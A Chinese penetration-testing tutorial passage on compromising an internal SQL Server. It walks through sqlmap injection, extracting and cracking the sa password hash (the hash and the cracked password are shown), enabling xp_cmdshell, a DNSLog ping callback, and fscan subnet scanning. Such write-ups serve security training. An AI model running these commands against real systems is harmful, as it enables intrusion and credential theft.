跳转至

攻数据库

内容简介

本小节主要讲解了如何去攻击内网中的 SQL Server 服务器的各种姿势,本文会考虑到一些极端情况,比如读取的 Hash 如果无法解密、SQLMap 无法执行 --os-shell等情况。

读取 hash

我们首先进入 SQLMap 的 sql-shell 模式:

python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=S --dbms=mssql --skip-urlencode -p fileid --sql-shell

然后尝试直接读取数据库认证信的 Hash 记录:

SELECT name,password_hash FROM master.sys.sql_logins

发现默认是无法查看这些 hash 的,SQLMap 下看这些 hash 是乱码的,这是因为 password_hash 列通常是以二进制数据(BLOB,Binary Large Object)的形式存储密码的哈希值。

image-20231129143319857

编码读取

为了读取二进制格式的 password_hash 值,我们可在 SQL Server 中,可以使用CONVERT函数来讲二进制的信息编码来查询:

SELECT name, CONVERT(NVARCHAR(MAX), password_hash, 1) AS hashed_password FROM master.sys.sql_logins;

成功获取到了 sa 用户的 password_hash 值:

image-20231130123207578

MSSQL password_hash
# 点击右侧按钮 一键复制
0x020010D6C3C2F05E9EA2B62B0C33481002BDFBB75C53F72214BC75EAB411DB8D0745C2E21A0245BC21FDEF60F781472DCDF61213B2A1FB12DEFAF85B2820BE1255A787136505

我们拿去 CMD5 解密看看,幸运的是有解,就是需要我们去充值才可以:

image-20231130124030929

哈希破解

自己动手,丰衣足食,那我们直接准备一个自己的字典和 hashcat,直接开始跑吧:

hashcat -a 0 -m 1731 '0x020010D6C3C2F05E9EA2B62B0C33481002BDFBB75C53F72214BC75EAB411DB8D0745C2E21A0245BC21FDEF60F781472DCDF61213B2A1FB12DEFAF85B2820BE1255A787136505' <字典路径> -O

更多 Hashcat 知识学习

Hashcat 学习记录 - 国光:https://www.sqlsec.com/2019/10/hashcat.html

很快啊,也就 2 秒,我们的 37w 密码字典就跑完了,成功解密出 sa 的密码为:1qazwsx#EDC

image-20231130143840327

--os-shell

既然当前用户是 sa 超级管理员的话,我们为什么不直接尝试一下试试看 SQLMap 自带的 --os-shell 呢?

python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --os-shell

但是可惜当前的 SQL Server 2012 环境下默认无法执行 --os-shell,我们接受不到任何结果,这并不是没有回显,我们使用 DNSLog 平台也是无法获取到相关记录的:

image-20231130145749012

xp_cmdshell

通过 SQL 来命令执行是需要 开启 xp_cmdshel,在老版本的 SQL Server 环境默认是开启的,由于我们是新一点的 SQL Server 2012,所以需要我们手动来开启一下 xp_cmdshel,我们可以使用 sa 用户执行如下 SQL 语句即可开启:

/*允许修改高级参数*/
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

/*开启xp_cmdshell*/
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

那我们直接进入 SQLMap 的 --sql-shell 模式:

python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --sql-shell

然后执行如下的 SQL 语句:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

然后直接 sql-shell 下命令执行 DNSLog 域名测试看看:

exec master..xp_cmdshell 'ping gg.u36k.callback.red';

成功执行了我们的命令:

image-20231130150711815

默认堆叠查询的 --sql-shell 下是无回显的, 只能借助 DNSLog 平台来验证,但是并不影响我们来下载 exe 执行并上线主机。

命令执行

如果想要可回显的命令执行,此时我们再次来执行 --os-shell 即可看到回显:

python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --os-shell

我们此时执行一些命令,比如 whoami 都是可以正常看到回显的,但是由于是盲注的原因,返回的结果比较慢,建议大家执行短一点的命令来验证:

image-20231130151244819

虽然权限不高,但是用来上线我们的主机是绰绰有余了。

端口扫描

SQL Server 的默认端口是 1433 端口,很明显和泛微 OA 的网站服务器不是一台,站库分离的,而且之前我们探测内网好像没有扫描到这个端口,所以这次我们需要更详细的扫描一下同网段的资产,来定位到数据库的主机。

我们这里端口扫描不准备挂代理扫描,为了更详细的扫描我们这里考虑直接在外网服务器上做端口扫描。

fscan 开源项目

https://github.com/shadow1ng/fscan 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。

我们下载最新的 fscan 编译好的包,然后上传到我们的蚁剑控制的外网服务器上:

image-20231130152757068

然后手动扫一下当前的 172 网段的信息:

./fscan -h 172.18.100.1/24 -o fscan_restult.txt

image-20231130153348921

让我们来看看 fscan 在网段扫描的结果,发现了 SQL Server 的数据库地址为:172.18.100.254 感觉是通过网关映射出来的,而且还有其他扫描信息,不过这信息我们通过之前的信息收集基本上也都发现了:

image-20231130153845114

连接数据

既然知道了 SQL Server 的用户名和密码的话,且知道数据库地址的话,那我们来直接连接吧。连接前先手动让我们的 Windows 客户端挂一下代理:

image-20231130154714533

使用 Navicat 来连接,输入我们之前脱的用户名和密码成功连接:

image-20231130154852501

这样我们查询执行 SQL 语句就方便很多了:

image-20231130154947726

主机上线

既然可以直接执行命令的话,那么我们来直接上线 SQL Server 的主机吧。但是可惜了只有 DNS 可以出外网,我们无法直接上线,使用 DNS 上线的话,会卡的一批,不到万不得已不建议大家这样操作:

image-20231130155749288

所以关于如何上线这台主机的话,就需要我们下一章节来详细介绍了。